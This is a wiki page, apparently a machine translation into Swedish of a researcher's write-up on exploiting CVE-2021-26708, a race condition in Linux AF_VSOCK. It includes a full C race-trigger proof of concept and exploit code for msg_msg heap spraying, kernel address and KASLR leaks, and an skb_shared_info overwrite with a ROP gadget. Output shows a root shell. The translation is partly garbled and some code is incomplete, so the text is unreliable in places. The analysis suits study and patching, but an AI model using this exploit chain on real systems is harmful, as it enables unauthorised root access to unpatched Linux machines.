CVE-2021-26708_Linux_kernel_before_5.10.13_特權提升漏洞_sv

# CVE-2021-26708 Linux kernel before 5.10.13 特權提升漏洞/sv

== Sårbarhet ==

Dessa sårbarheter är tävlingsförhållanden orsakade av felaktig låsning i net/vmw_vsock/af_vsock.c . Dessa villkorliga tävlingar introducerades implicit i inlämningen som lade till VSOCK multitransportstöd i november 2019 och slogs samman till Linux-kärnan 5.5-rc1-versionen.

CONFIG_VSOCKETS och CONFIG_VIRTIO_VSOCKETS tillhandahålls som kärnmoduler i alla större GNU / Linux-distributioner. När du skapar ett uttag för AF_VSOCK-domänen laddas dessa sårbara moduler automatiskt.

vsock = socket(AF_VSOCK, SOCK_STREAM, 0);

Skapandet av AF_VSOCK -uttag är tillgängligt för icke-privilegierade användare och kräver inte utrymme för användarnamn.

== Minneskorruption ==

Följande är en detaljerad introduktion till användningen av CVE-2021-26708, med användning av den villkorliga konkurrens i vsock_stream_etssockopt () . Två trådar krävs för att reproducera. Den första tråden anropar setsockopt () :

  setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
                &size, sizeof(unsigned long));

Den andra tråden ändrar den virtuella sockelöverföringen när vsock_stream_etssockopt () försöker skaffa sockellåset genom att återansluta det virtuella uttaget:

struct sockaddr_vm addr = {
        .svm_family = AF_VSOCK,
    };

    addr.svm_cid = VMADDR_CID_LOCAL;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

    addr.svm_cid = VMADDR_CID_HYPERVISOR;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

För att bearbeta connect () för det virtuella uttaget kör kärnan vsock_stream_connect () som kallar vsock_assign_transport () . Den här funktionen innehåller följande kod:

     if (vsk->transport) {
            if (vsk->transport == new_transport)
                return 0;

            /* transport->release() must be called with sock lock acquired.
             * This path can only be taken during vsock_stream_connect(),
             * where we have already held the sock lock.
             * In the other cases, this function is called on a new socket
             * which is not assigned to any transport.
             */
            vsk->transport->release(vsk);
            vsock_deassign_transport(vsk);
        }

vsock_stream_connect () innehåller ett sockellås och vsock_stream_setsockopt () i den parallella tråden försöker också få det, vilket utgör en villkorad konkurrens. Därför, när den andra connect () utförs med en annan svm_cid , kallas funktionen vsock_deassign_transport () . Den här funktionen kör virtio_transport_destruct () , släpper vsock_sock.trans och vsk-> transport är inställd på NULL. När vsock_stream_connect () släpper sockellåset kan vsock_stream_setsockopt () fortsätta att köra. Det kallar vsock_update_buffer_size () och ringer sedan transport-> notify_buffer_size () . Här innehåller transport ett föråldrat värde från en lokal variabel, som inte matchar vsk-> transport (det ursprungliga värdet är satt till NULL).

När kärnan kör virtio_transport_notify_buffer_size () uppstår minneskorruption:

void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
    struct virtio_vsock_sock *vvs = vsk->trans;

    if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)
        *val = VIRTIO_VSOCK_MAX_BUF_SIZE;

    vvs->buf_alloc = *val;

    virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);
}

Här är vvs en pekare till kärnminnet, som har släppts i virtio_transport_destruct () . Storleken på struct virtio_vsock_sock är 64 byte och ligger i kmalloc-64 blockcache. Fälttypen buf_alloc är u32 och ligger vid förskjutning 40. VIRTIO_VSOCK_MAX_BUF_SIZE är 0xFFFFFFFFUL . Värdet på * val styrs av angriparen och dess fyra minst viktiga byte skrivs in i det frigjorda minnet.

== Fuzzing ==

Syzkaller-fuzzer har inget sätt att reproducera denna krasch, så jag bestämde mig för att studera den själv. Men varför misslyckas fuzzer? Observera vsock_update_buffer_size () och ta reda på:

 if (val != vsk->buffer_size &&
      transport && transport->notify_buffer_size)
        transport->notify_buffer_size(vsk, &val);

    vsk->buffer_size = val;

Endast när val skiljer sig från den aktuella buffertstorleken kommer notify_buffer_size () att kallas, det vill säga när setsockopt () kör SO_VM_SOCKETS_BUFFER_SIZE , varje gång Samtalsstorlekens parametrar bör vara olika. Så jag byggde den relevanta koden:

/*
 * AF_VSOCK vulnerability trigger.
 * It's a PoC just for fun.
 * Author: Alexander Popov .
 */

#include 
#include 
#include 
#include 
#include 
#include 

#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)

#define MAX_RACE_LAG_USEC 50

int vsock = -1;
int tfail = 0;
pthread_barrier_t barrier;

int thread_sync(long lag_nsec)
{
	int ret = -1;
	struct timespec ts0;
	struct timespec ts;
	long delta_nsec = 0;

	ret = pthread_barrier_wait(&barrier);
	if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
		perror("[-] pthread_barrier_wait");
		return EXIT_FAILURE;
	}

	ret = clock_gettime(CLOCK_MONOTONIC, &ts0);
	if (ret != 0) {
		perror("[-] clock_gettime");
		return EXIT_FAILURE;
	}

	while (delta_nsec < lag_nsec) {
		ret = clock_gettime(CLOCK_MONOTONIC, &ts);
		if (ret != 0) {
			perror("[-] clock_gettime");
			return EXIT_FAILURE;
		}

		delta_nsec = (ts.tv_sec - ts0.tv_sec) * 1000000000 +
						ts.tv_nsec - ts0.tv_nsec;
	}

	return EXIT_SUCCESS;
}

void *th_connect(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct sockaddr_vm addr = {
		.svm_family = AF_VSOCK,
	};

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	addr.svm_cid = VMADDR_CID_LOCAL;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	addr.svm_cid = VMADDR_CID_HYPERVISOR;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	return NULL;
}

void *th_setsockopt(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct timespec tp;
	unsigned long size = 0;

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	clock_gettime(CLOCK_MONOTONIC, &tp);
	size = tp.tv_nsec;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
						&size, sizeof(unsigned long));

	return NULL;
}

int main(void)
{
	int ret = -1;
	unsigned long size = 0;
	long loop = 0;
	pthread_t th[2] = { 0 };

	vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
	if (vsock == -1)
		err_exit("[-] open vsock");

	printf("[+] AF_VSOCK socket is opened\n");

	size = 1;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE,
						&size, sizeof(unsigned long));
	size = 0xfffffffffffffffdlu;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE,
						&size, sizeof(unsigned long));

	ret = pthread_barrier_init(&barrier, NULL, 2);
	if (ret != 0)
		err_exit("[-] pthread_barrier_init");

	for (loop = 0; loop < 30000; loop++) {
		long tmo1 = 0;
		long tmo2 = loop % MAX_RACE_LAG_USEC;

		printf("race loop %ld: tmo1 %ld, tmo2 %ld\n", loop, tmo1, tmo2);

		ret = pthread_create(&th[0], NULL, th_connect, &tmo1);
		if (ret != 0)
			err_exit("[-] pthread_create #0");

		ret = pthread_create(&th[1], NULL, th_setsockopt, &tmo2);
		if (ret != 0)
			err_exit("[-] pthread_create #1");

		ret = pthread_join(th[0], NULL);
		if (ret != 0)
			err_exit("[-] pthread_join #0");

		ret = pthread_join(th[1], NULL);
		if (ret != 0)
			err_exit("[-] pthread_join #1");

		if (tfail) {
			printf("[-] some thread got troubles\n");
			exit(EXIT_FAILURE);
		}
	}

	ret = close(vsock);
	if (ret)
		perror("[-] close");

	printf("[+] now see your warnings in the kernel log\n");
	return 0;
}

Storleksvärdet här hämtas från antalet nanosekunder som returneras av clock_gettime () , vilket kan skilja sig åt varje gång. Den ursprungliga syzkaller gör inte detta, för när syzkaller genererar fuzzing input bestäms värdet på syscall-parametern och kommer inte att ändras under körningen.

== Kraften i fyra byte ==

Här väljer jag Fedora 33 Server som forskningsmål, kärnversionen är 5.10.11-200.fc33.x86_64, och jag är fast besluten att kringgå SMEP och SMAP.

I det första steget började jag studera stabil högsprutning, som utnyttjade utförandet av användarutrymmesaktiviteter för att få kärnan att allokera ett annat 64-byte-objekt på platsen för det frigivna virtio_vsock_socken. Efter flera experimentella försök bekräftades det att den frigjorda virtio_vsock_socken var överskriven, vilket tyder på att högsprutning är genomförbar. Slutligen hittade jag msgsnd () syscall. Det skapar struct msg_msg i kärnutrymmet, se pahole-utdata:

struct msg_msg {
    struct list_head           m_list;               /*     0    16 */
    long int                   m_type;               /*    16     8 */
    size_t                     m_ts;                 /*    24     8 */
    struct msg_msgseg *        next;                 /*    32     8 */
    void *                     security;             /*    40     8 */

    /* size: 48, cachelines: 1, members: 5 */
    /* last cacheline: 48 bytes */
};

Framsidan är meddelandehuvudet och baksidan är meddelandedata. Om strukturen msgbuf i användarutrymmet har en 16-byte mtext kommer motsvarande msg_msg att skapas i kmalloc-64-blockcachen. En 4-byte skriv-efter-fri förstör tomrum * säkerhetspekaren vid förskjutning 40. Fältet msg_msg.security pekar på kärndata som tilldelats av lsm_msg_msg_alloc (). När msg_msg tas emot kommer den att släppas av security_msg_msg_free (). Därför kan godtycklig frihet erhållas genom att förstöra säkerhetspekarens första hälft.

== Kärninformationsläckage ==

Här används [https://www.pwnwiki.org/index.php?title=CVE-2019-18683_Linux_kernel_through_5.3.8_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E CVE-2019-18683] samma teknik. Den andra anslutningen () av ​​det virtuella uttaget anropar vsock_deassign_transport () och ställer vsk-> transport till NULL, vilket gör vsock_stream_setsockopt () Ringer virtio_transport_send_pkt_info () efter minneskraschen visas en kärnvarning:

WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G        W         5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS:  00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
  virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]
  vsock_update_buffer_size+0x5f/0x70 [vsock]
  vsock_stream_setsockopt+0x128/0x270 [vsock]
...

Genom gdb-felsökning visar det sig att RCX-registret innehåller kärnadressen till den frigjorda virtio_vsock_socken, och RBX-registret innehåller kärnadressen till vsock_sock.

== Uppnå godtycklig läsning ==

===From arbitrary free to use-after-free===

Släpp ett objekt från den läckta kärnadressen
Utför högspray och täck föremålet med kontrollerade data
Använd skadade föremål för eskalering av privilegier
System V-meddelandet som implementeras av kärnan har en maximal gräns på DATALEN_MSG, det vill säga PAGE_SIZE minus sizeof (struct msg_msg)). Om du skickar ett större meddelande sparas de återstående meddelandena i listan över meddelandesegment. Msg_msg innehåller strukturen msg_msgseg * bredvid peka på det första segmentet och size_t m_ts används för att lagra storleken. När du utför en överskrivningsoperation kan du sätta det kontrollerade värdet i msg_msg.m_ts och msg_msg.next:

![](/static/pwnwiki/img/T01a51dfe7a996e854c.png )

Payload:

    #define PAYLOAD_SZ 40 
    void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
    {
        struct msg_msg *msg_ptr;

        xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;

        /* Don't touch the second part to avoid breaking page fault delivery */
        memset(spray_data, 0xa5, PAGE_SIZE * 4);

        printf("[+] adapt the msg_msg spraying payload:\n");
        msg_ptr = (struct msg_msg *)xattr_addr;
        msg_ptr->m_type = 0x1337;
        msg_ptr->m_ts = ARB_READ_SZ;
        msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
        printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
               msg_ptr,
               msg_ptr->m_type, &(msg_ptr->m_type),
               msg_ptr->m_ts, &(msg_ptr->m_ts),
               msg_ptr->next, &(msg_ptr->next));
    }

Men hur använder jag msg_msg för att läsa kärndata? Genom att läsa systemanropsdokumentet msgrcv () hittade jag en bra lösning med hjälp av msgrcv () och MSG-flaggor:

MSG_COPY (since Linux 3.8)
        Nondestructively fetch a copy of the message at the ordinal position  in  the  queue
        specified by msgtyp (messages are considered to be numbered starting at 0).

Denna flagga gör att kärnan kopierar meddelandedata till användarutrymmet utan att radera den från meddelandekön. Om kärnan har CONFIG_CHECKPOINT_RESTORE = y är MSG tillgängligt och tillämpligt i Fedora Server.

=== Steg för godtycklig läsning ===

Redo att jobba:
Använd sched_getaffinity () och CPU_COUNT () för att beräkna antalet tillgängliga processorer (minst två krävs för denna sårbarhet);
Öppna / dev / kmsg för analys;
mmap () konfigurerar userfaultfd () i spray_data-minnesområdet som den sista delen;
Starta en separat pthread för att hantera userfaultfd () -händelser;
Starta 127 trådar för setxattr () & userfaultfd () heap spray på msg_msg och häng dem på thread_barrier;
Hämta kärnadressen till den ursprungliga msg_msg:
Villkorlig konkurrens på virtuella uttag;
Efter den andra anslutningen () väntar du 35 mikrosekunder i den upptagna slingan;
Ring msgsnd () för att skapa en separat meddelandekö; efter minneskorruption placeras msg_msg-objektet i virtio_vsock_sock-positionen;
Analysera kärnloggen och spara kärnadressen för msg_msg från kärnvarningen (RCX-register);
Spara samtidigt kärnadressen till vsock_sock från RBX-registret;
Använd den skadade msg_msg för att utföra godtycklig release av den ursprungliga msg_msg:
Använd 4 byte av den ursprungliga msg_msg-adressen som SO_VM_SOCKETS_BUFFER_SIZE för att uppnå minneskorruption.
Villkorlig konkurrens på virtuella uttag;
Ring msgsnd () omedelbart efter den andra anslutningen (); msg_msg placeras i positionen virtio_vsock_sock för att uppnå förstörelse;
Säkerhetspekaren för den nu förstörda msg_msg lagrar adressen till den ursprungliga msg_msg (från steg 2);

![](/static/pwnwiki/img/T01a2a2d47c9494c4a5.png )

Om msg_msg.security-minneskorruptionen från setsockopt () -tråden inträffar under bearbetningen av msgsnd () misslyckas SELinux-behörighetskontrollen;
I det här fallet returnerar msgsnd () -1 och den skadade msg_msg förstörs; släppande av msg_msg.security kan släppa originalet msg_msg;
Skriv över originalet msg_msg med en kontrollerbar nyttolast:
Efter att msgsnd () misslyckas kommer sårbarheten att ringa pthread_barrier_wait () och ringa 127 pthreads för högsprutning;
Dessa pthreads kör nyttolasten för setxattr ();
Den ursprungliga msg_msg skrivs över av kontrollerbar data, och pekaren msg_msg.next lagrar adressen till vsock_sock-objektet;

![](/static/pwnwiki/img/T0140baae964febb059.png )

Läs innehållet i kärnobjektet vsock_sock till användarutrymmet genom att ta emot meddelandet från meddelandekön som lagrar det överskrivna msg_msg:

ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0,
                IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

== Hitta målet för attack ==

Här är de punkter jag hittade:
1. Dedikerad blockcache, till exempel PINGv6 och sock_inode_cache, har många pekare på objekt
2. Struct mem_cgroup * sk_memcg-pekaren är vid offset 664 i vsock_sock.sk. Mem_cgroup-strukturen tilldelas i kmalloc-4k blockcache.
3. Pekaren för const struct cred * -ägaren är vid offset 840 i vsock_sock.sk och lagrar adressen för referensen som kan skrivas över för tillståndsupptrappning.
4. Tomrumsfunktionen (* sk_write_space) (struct sock *) är vid offset 688 för vsock_sock.sk och är inställd på adressen till kärnfunktionen sock_def_write_space (). Den kan användas för att beräkna KASLR-offset.

Här är hur sårbarheten extraherar dessa pekare från minnet:

#define SK_MEMCG_RD_LOCATION    (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET    840
#define OWNER_CRED_RD_LOCATION    (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET    688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET) 
/*
 * From Linux kernel 5.10.11-200.fc33.x86_64:
 *   function pointer for calculating KASLR secret
 */
#define SOCK_DEF_WRITE_SPACE    0xffffffff819851b0lu 
unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;

/* ... */

    sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
            sk_memcg, SK_MEMCG_RD_LOCATION);

    owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n",
            owner_cred, OWNER_CRED_RD_LOCATION);

    sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
            sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);

    kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
    printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);

== Implementera Use-after-free på sk_buff ==

Den nätverksrelaterade bufferten i Linux-kärnan representeras av struct sk_buff. Det finns skb_shared_info och destructor_arg i detta objekt, som kan användas för att styra flödeskapning. Nätverksdata och skb_shared_info placeras i samma kärnminnesblock som sk_buff.head pekar på. Därför skapar ett 2800-byte nätverkspaket i användarutrymme att skb_shared_info allokeras till kmalloc-4k-blockcache, liksom mem_cgroup-objektet.

Jag byggde följande steg:

1. Använd sockets (AF_INET, SOCK_DGRAM, IPPROTO_UDP) för att skapa ett klientuttag och 32 serveruttag

2. Förbered en 2800-byte buffert i användarutrymmet och använd 0x42 för att memset ()

3. Använd sendto () för att skicka denna buffert från klientuttaget till varje serveruttag för att skapa sk_buff-objekt i kmalloc-4k. Använd `sched_setaffinity () på varje tillgänglig CPU

4. Utför godtycklig läsprocess på vsock_sock

5. Beräkna den möjliga sk_buff-kärnadressen som sk_memcg plus 4096 (nästa element i kmalloc-4k)

6. Utför godtyckliga läsningar på denna möjliga sk_buff-adress

7. Om du hittar 0x42424242424242lu på platsen för nätverksdata, leta reda på den verkliga sk_buffen och gå till steg 8. Annars lägger du till 4096 till den möjliga sk_buff-adressen och går till steg 6

8. Kör setxattr () & userfaultfd () högspray med 32 pthreads på sk_buff och häng dem på pthread_barrier

9. Släpp godtyckligt sk_buff-kärnadressen

10. Ring pthread_barrier_wait (), kör 32 setxattr () för att täcka högsprutpthreads av skb_shared_info

11. Använd recv () för att ta emot nätverksmeddelanden från serveruttaget.

== Skriva fritt genom skb_shared_info ==

Följande är en giltig nyttolast som skriver över sk_buff-objektet:

#define SKB_SIZE        4096
#define SKB_SHINFO_OFFSET    3776
#define MY_UINFO_OFFSET        256
#define SKBTX_DEV_ZEROCOPY    (1 << 3) 
void prepare_xattr_vs_skb_spray(void)
{
    struct skb_shared_info *info = NULL;

    xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;

    /* Don't touch the second part to avoid breaking page fault delivery */
    memset(spray_data, 0x0, PAGE_SIZE * 4);

    info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
    info->tx_flags = SKBTX_DEV_ZEROCOPY;
    info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;

    uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);

skb_shared_info finns i injektionsdata, exakt vid offset SKB_SHINFO_OFFSET, vilket är 3776 byte. Skb_shared_info.destructor_arg-pekaren lagrar adressen till struct ubuf_info. Eftersom kärnadressen till den attackerade sk_buffen är känd kan en falsk ubuf_info skapas på MY_UINFO_OFFSET i nätverksbufferten. Följande är layouten för en giltig nyttolast:

![](/static/pwnwiki/img/T0185ccbf9f025c74da.png )

Låt oss prata om återuppringaren för destructor_arg:

 /*
     * A single ROP gadget for arbitrary write:
     *   mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
     * Here rdi stores uinfo_p address, rcx is 0, rsi is 1
     */
    uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
    uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr [rdi + 8]" */
    uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */

Eftersom jag inte kunde hitta en gadget som kan tillgodose mina behov i vmlinuz-5.10.11-200.fc33.x86_64, undersökte jag och konstruerade den själv.

Återuppringningsfunktionspekaren lagrar adressen till en ROP-gadget, RDI lagrar den första parametern för återuppringningsfunktionen, vilket är adressen till själva ubuf_info och RDI + 8 pekar på ubuf_info.desc. gadget flyttar ubuf_info.desc till RDX. Nu innehåller RDX ett effektivt användar-ID och grupp-ID-adress minus en byte. Denna byte är väldigt viktig: när gadgeten skriver meddelande 1 från RSI till det minne som RDX pekar på kommer den effektiva uid och gid att skrivas över med noll. Upprepa samma process tills behörigheterna uppgraderas till root. Utflödet för hela processen är som följer:

[a13x@localhost ~]$ ./vsock_pwn

=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================

[+] begin as: uid=1000, euid=1000
[+] we have 2 CPUs for racing
[+] getting ready...
[+] remove old files for ftok()
[+] spray_data at 0x7f0d9111d000
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
[+] fault_handler for uffd 38 is ready

[+] stage I: collect good msg_msg locations
[+] go racing, show wins: 
    save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
    save msg_msg ffff9125c25a4640 in msq 12 in slot 1
    save msg_msg ffff9125c25a4780 in msq 22 in slot 2
    save msg_msg ffff9125c3668a40 in msq 78 in slot 3

[+] stage II: arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4d00
    kaddr for arb read: ffff9125c2035300
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
[+] go racing, show wins: 

[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
[+] msgrcv returned 6096 bytes
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
[+] Calculated kaslr offset: 2a000000

[+] stage IV: search sprayed skb near sk_memcg...
[+] checking possible skb location: ffff9125c42fa000
[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4640
    kaddr for arb read: ffff9125c42fa030
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
[+] go racing, show wins: 0 0 20 15 42 11 
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
[+] msgrcv returned 6096 bytes
[+] found a real skb

[+] stage V: try to do UAF on skb at ffff9125c42fa000
[+] skb payload:
    start at 0x7f0d91120004
    skb_shared_info at 0x7f0d91120ec4
    tx_flags 0x8
    destructor_arg 0xffff9125c42fa100
    callback 0xffffffffab64f6d4
    desc 0xffff9125c3fd6e53
[+] go racing, show wins: 15 

[+] stage VI: repeat UAF on skb at ffff9125c42fa000
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30 

[+] finish as: uid=0, euid=0
[+] starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

== Video ==
https://www.youtube.com/watch?v=EC8PFOYOUgU

== Referens ==
https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容